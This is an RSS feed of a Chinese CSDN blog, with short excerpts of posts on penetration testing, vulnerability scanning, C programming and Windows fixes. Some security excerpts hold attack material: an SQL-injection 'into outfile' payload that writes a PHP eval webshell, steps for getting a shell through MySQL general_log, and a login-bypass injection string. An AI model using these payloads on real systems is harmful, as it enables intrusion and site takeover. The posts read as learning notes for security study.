<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[Blue_Starry的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/Blue_Starry_sky</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; Blue_Starry_sky]]></copyright><item><title><![CDATA[http.sys整数溢出漏洞（MS15-034）验证方法]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/113035140</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/113035140</guid><author>Blue_Starry_sky</author><pubDate>Sat, 23 Jan 2021 11:41:17 +0800</pubDate><description><![CDATA[漏洞成因：

18446744073709551615转为十六进制即是 0xFFFFFFFFFFFFFFFF(16个F），是64位无符号整形所能表达的最大整数，这个“整数溢出”必然同这个异常的超大整数有关，若IIS服务器返回“416 Requested Range Not Satisfiable”，则是存在漏洞，若返回”The request has an invalid header name“，或其他状态码则说明漏洞已经修补。

漏洞危害：

利用该漏洞构造恶意的http请求数据包,可使服务器系统蓝屏崩]]></description><category></category></item><item><title><![CDATA[浏览器代理结合Xray扫描]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/113032244</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/113032244</guid><author>Blue_Starry_sky</author><pubDate>Sat, 23 Jan 2021 10:52:48 +0800</pubDate><description><![CDATA[Xray是一个方便有用的漏洞扫描工具，综合了许多常见的poc和漏洞，怎样才能更好的使用xray去发现漏洞？

最简单的方法是直接使用浏览器+xray，然后需要主动去触发网站的内容，这样才能进行扫描。

首先，从GitHub下载xray，启动xray使用命令


.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output test.html

具体的参数意义可以去xray的readme.md查询，一般我喜欢将上述命令写成.bat]]></description><category></category></item><item><title><![CDATA[crawlergo.exe结合X-ray实现自动扫描]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/113011579</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/113011579</guid><author>Blue_Starry_sky</author><pubDate>Sat, 23 Jan 2021 00:50:25 +0800</pubDate><description><![CDATA[一般来说，使用X-ray扫描web漏洞就那几种方式，但是都需要人主动点击触发扫描这个过程，个人感觉不方便，最近发现github有人使用crawlergo.exe结合X-ray使用爬虫可以完全自动化扫描，可将扫描放到服务器上，然后等着收割漏洞。（附地址：https://github.com/timwhitez/crawlergo_x_XRAY）

但是下载后发现除了说明中提到的权限不足拒绝访问的问题，如下图：



出现拒绝访问的问题，按照说明文档的指引，删除crawlergo文件夹即可，但是还会出现系统找不]]></description><category></category></item><item><title><![CDATA[nmap把端口定义为六种状态的解读]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/102666605</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/102666605</guid><author>Blue_Starry_sky</author><pubDate>Mon, 21 Oct 2019 16:27:43 +0800</pubDate><description><![CDATA[NMAP六种端口状态解读
Nmap是一种用来发现网络中主机和服务的安全扫描工具，从而能够产生一个网络“地图”，为了完成这个功能，nmap会向每个目标主机发送特定的报文，从而从目标主机返回报文（或者无返回报文）来判断目标主机的属性（如：开放的端口，所使用的操作系统，操作系统的类型等信息）

本文主要讨论nmap对端口进行扫描中，当nmap向目标主机发送报文并根据返回报文从而认定端口的6种...]]></description><category></category></item><item><title><![CDATA[渗透测试流程]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/89401696</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/89401696</guid><author>Blue_Starry_sky</author><pubDate>Fri, 19 Apr 2019 15:49:21 +0800</pubDate><description><![CDATA[1.信息收集
主动收集
通过访问目标地址，和相关地址或者通过扫描等方式收集信息；
优点：收集到的信息比较多；
缺点：可能会被记录自己的操作信息，导致打草惊蛇；
被动收集
通过第三方的服务来收集目标的相关信息；
优点：基本上对方处于无感知状态；
缺点：收集内容有限，速度较慢；
一般情况下，最好先采用被动收集的方法去收集信息，然后采用主动收集去有目的的收集在被动收集过程中缺少的信息；
需要收集的信息
...]]></description><category></category></item><item><title><![CDATA[黑帽SEO手法]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/88988885</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/88988885</guid><author>Blue_Starry_sky</author><pubDate>Wed, 03 Apr 2019 10:06:32 +0800</pubDate><description><![CDATA[0x00:概念

SEO全称搜索引擎优化，通过站内优化和站内优化方式来提升搜索引擎排名，有白帽SEO和黑帽SEO。

因为正规的SEO优化需要很长时间，黑帽SEO手法让站内快速提升排名的有：


	黑链（暗链）
	
	
	站群
	
	
	网站劫持（搜索引擎劫持）
	
	
	桥页
	
0x01:SEO的一些黑色手法

常见的SEO手法：


	利用泛解析做站群
	
	
	入侵高权重网站挂暗链
	
	...]]></description><category></category></item><item><title><![CDATA[Linux 查看日志命令]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/88635931</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/88635931</guid><author>Blue_Starry_sky</author><pubDate>Mon, 18 Mar 2019 11:41:13 +0800</pubDate><description><![CDATA[Linux日志分类、各个日志作用：



last：列出当前和曾经登入系统的用户信息
-R 显示从何处登入系统（不显示登入系统的主机名称或ip地址）
-a 把从何处登入系统的主机名称或ip地址显示在最后一行
-f &amp;lt;记录文件&amp;gt; 指定记录文件
-n n是指列数 列出名单的显示列数
-x 显示系统关机，重新开机，以及执行等级的改变等信息。

查看所有重启、关机记录：
last | grep...]]></description><category></category></item><item><title><![CDATA[sql语句利用into outfile写入一句话]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/88119353</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/88119353</guid><author>Blue_Starry_sky</author><pubDate>Mon, 04 Mar 2019 15:32:44 +0800</pubDate><description><![CDATA[利用需要的条件有：

1、对web目录需要有写权限能够使用单引号

2、知道绝对路径

3、没有配置-secure-file-priv


当知道路径时，可以直接用?id=1 union select &quot;&amp;lt;?php @eval($_POST['123']);?&amp;gt;&quot; into outfile(&quot;C:/phpStudy/WWW/a.php&quot;)
或者采用PHPmyadmin，选择一个数据库如...]]></description><category></category></item><item><title><![CDATA[利用general_log来getshell]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/88119104</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/88119104</guid><author>Blue_Starry_sky</author><pubDate>Mon, 04 Mar 2019 15:27:04 +0800</pubDate><description><![CDATA[设置了general_log和general_log_file之后所有SQL记录都会写入指定的文件


使用show variables like '%general%'; //查询general_log的开启状态如图




如果没有开启可以使用set global general_log=on;//将其打开。


然后使用set global general_log_file='...]]></description><category></category></item><item><title><![CDATA[常见漏洞与分析]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/81053045</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/81053045</guid><author>Blue_Starry_sky</author><pubDate>Sun, 15 Jul 2018 14:54:23 +0800</pubDate><description><![CDATA[一、SQL注入（1）注入产生原理使用用户输入的参数拼凑SQL语句，用户对服务器端代码里的SQL语句可控，使服务器执行恶意的sql命令http://bbs.pconline.com.cn/topic.jsp?tid=1 ' and 1=2（2）万能密码select * from tb_name where name = ' ' or 1=1 - - '  and  passwd = ' '（3）危害...]]></description><category></category></item><item><title><![CDATA[AIT刚发现的小功能之快捷键]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/79431709</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/79431709</guid><author>Blue_Starry_sky</author><pubDate>Sat, 03 Mar 2018 17:27:03 +0800</pubDate><description><![CDATA[经常在网上浏览文章的人会看到类似这样的文章，史上最全常用快捷键之类的。其中方便的快捷键有很多，但是我们并不能完全的记忆下来，能背下的也就是常用的那么几个。刚刚无意间按到了Alt 发现你需要的快捷组合会显示出来，如图。微软的很实用的小功能，不清楚那个版本会有这个功能，我的是win10专业版
...]]></description><category></category></item><item><title><![CDATA[使用word写博客]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/79431604</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/79431604</guid><author>Blue_Starry_sky</author><pubDate>Sat, 03 Mar 2018 17:14:37 +0800</pubDate><description><![CDATA[一直觉得csdn写博客的时候上传图片不太舒服，想着能用word写博客挺好。于是从百度上查了一下，果然中国的网友还是很强大的，下面介绍如何使用word连接博客。
在百度经验上看的，好像office2007以上的完整版才有这个功能。在这里我的电脑用的13版的，如果需要07版的，我这里附上链接https://jingyan.baidu.com/article/8ebacdf0db266749f65cd]]></description><category></category></item><item><title><![CDATA[无线路由器桥接(以不同品牌为例tplink和fast)]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/79200727</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/79200727</guid><author>Blue_Starry_sky</author><pubDate>Mon, 29 Jan 2018 22:53:41 +0800</pubDate><description><![CDATA[一般上，TP-link的路由器要好于FAST的路由器，所以在这里我使用tplink作为主路由器。
首先，我也在网上看了一些教程，什么把信道保持一致，DPCP服务关闭，我试了一下，不需要保持一致，dhcp不关闭也没见有啥。但是，如果想要更好的无线感受，可以把信道都换成11或者1。


然后记下主路由器的lan口ip，把副路由器的lan口ip改成主路由器的子网ip，要不然桥接后会出现管理界面无]]></description><category></category></item><item><title><![CDATA[硬盘根目录只能创建文件夹解决方法]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/78984887</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/78984887</guid><author>Blue_Starry_sky</author><pubDate>Fri, 05 Jan 2018 20:21:07 +0800</pubDate><description><![CDATA[以前的废电脑拆下来的机械硬盘做成了移动硬盘，然而发现根目录下只能创建文件夹，其他的东西没有，如下。
然后找到不正常的盘上右键选属性，在属性框里选择安全，选中Everyone点下方的编辑，在弹出的框里“Everyone的权限”里把全部控制的勾勾上，应用并确认。如果硬盘里东西比较多的话可能权限设置时间会比较长，等权限设置完成后新建选项就正常了。]]></description><category></category></item><item><title><![CDATA[win10下出现.net framework 3.5错误代码0x800F081F的问题]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/78907890</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/78907890</guid><author>Blue_Starry_sky</author><pubDate>Wed, 27 Dec 2017 00:21:13 +0800</pubDate><description><![CDATA[在帮别人装CAD的时候，出现了这个问题，一开始上百度查找解决方法，说的是从管理→服务→windows Update→属性，启动类型选成手动，然后启动。

后来试了试，发现这个方法并不行，然后又在网站找大牛的解决方法，终于找到了方法。复制链接：http://download.windowsupdate.com/d/msdownload/update/software/updt/2015/11/mic...]]></description><category></category></item><item><title><![CDATA[C语言continue和break的区别]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/78002244</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/78002244</guid><author>Blue_Starry_sky</author><pubDate>Sat, 16 Sep 2017 11:22:11 +0800</pubDate><description><![CDATA[break是结束整个循环体，continue是结束单次循环
通过下面这个程序我们来直观的看一下break和continue的区别
continue语句:
#include
int main()
{
	int i;
	for(i=1;i<20;i++)
	{
		if(i%3==0)
		{
			printf("%d\n",i);
			continue;
		}
		printf("i==]]></description><category></category></item><item><title><![CDATA[C语言for循环语句的执行顺序]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/78002124</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/78002124</guid><author>Blue_Starry_sky</author><pubDate>Sat, 16 Sep 2017 11:13:18 +0800</pubDate><description><![CDATA[#include
int main()
{
	int i;
	for(i=0;i<5;i++)
	{
		printf("%d\n",i);
	}
	return 0;
}
执行数序是:
1、i=0  初始化初值
2.i
执行循环体代码
i++ 变量i自增
回到第2步,一直循环下去,直到第2步为假, 退出循环.]]></description><category></category></item><item><title><![CDATA[C语言switch的条件表达式要求]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/78001596</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/78001596</guid><author>Blue_Starry_sky</author><pubDate>Sat, 16 Sep 2017 10:12:17 +0800</pubDate><description><![CDATA[switch语句是多分支选择语句，一般当if嵌套过多的时候可以考虑使用。
switch(表达式)
{
case 常量1:语句1
case .....:.....
default:语句n
}
switch只针对基本数据类型使用，即switch后面括号内的表达式，其值得类型应为整数类型（包括字符型），也就是（int,char,枚举,bool）,对于其他类型，应该考虑其他条件控制语句例如i]]></description><category></category></item><item><title><![CDATA[C语言值传递与地址传递]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/77857206</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/77857206</guid><author>Blue_Starry_sky</author><pubDate>Tue, 05 Sep 2017 21:57:32 +0800</pubDate><description><![CDATA[在我们学习C语言函数部分的时候，书上写的实参向形参的数据传递是‘值传递’，是单向传递，只能由实参传递给形参，而不能由形参传递给实参。由于这个特性，我们可能在写程序时，有些函数内改变了一些值，运行结果会数值却没有发生变化。例如

例一：

：

当我们学习到指针部分时，会接触到‘地址传递’，会发现有一份类似函数部分的程序却可以改变主函数的参数的数值。这是因为存放的是由主调函数放进来的实参变量的地址。...]]></description><category></category></item><item><title><![CDATA[C语言形参和实参]]></title><link>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/77857069</link><guid>https://blog.youkuaiyun.com/Blue_Starry_sky/article/details/77857069</guid><author>Blue_Starry_sky</author><pubDate>Tue, 05 Sep 2017 21:44:50 +0800</pubDate><description><![CDATA[形式参数（形参）：定义函数名和函数体时需要用的参数，目的是用来接收调用该函数时传递的参数。
实际参数（实参）：传递给被调用函数的值。
通俗的来讲，形参就像物理计算中的公式中的符号，比如Ω，A，V等，而实参就是在计算中的实际的数值。调用过程就是实现形参与实参的结合，把实参的值通过调用传递给形参，相当于把具体的值代入公式进行计算。





 


形式参数（形参）


实]]></description><category></category></item></channel></rss>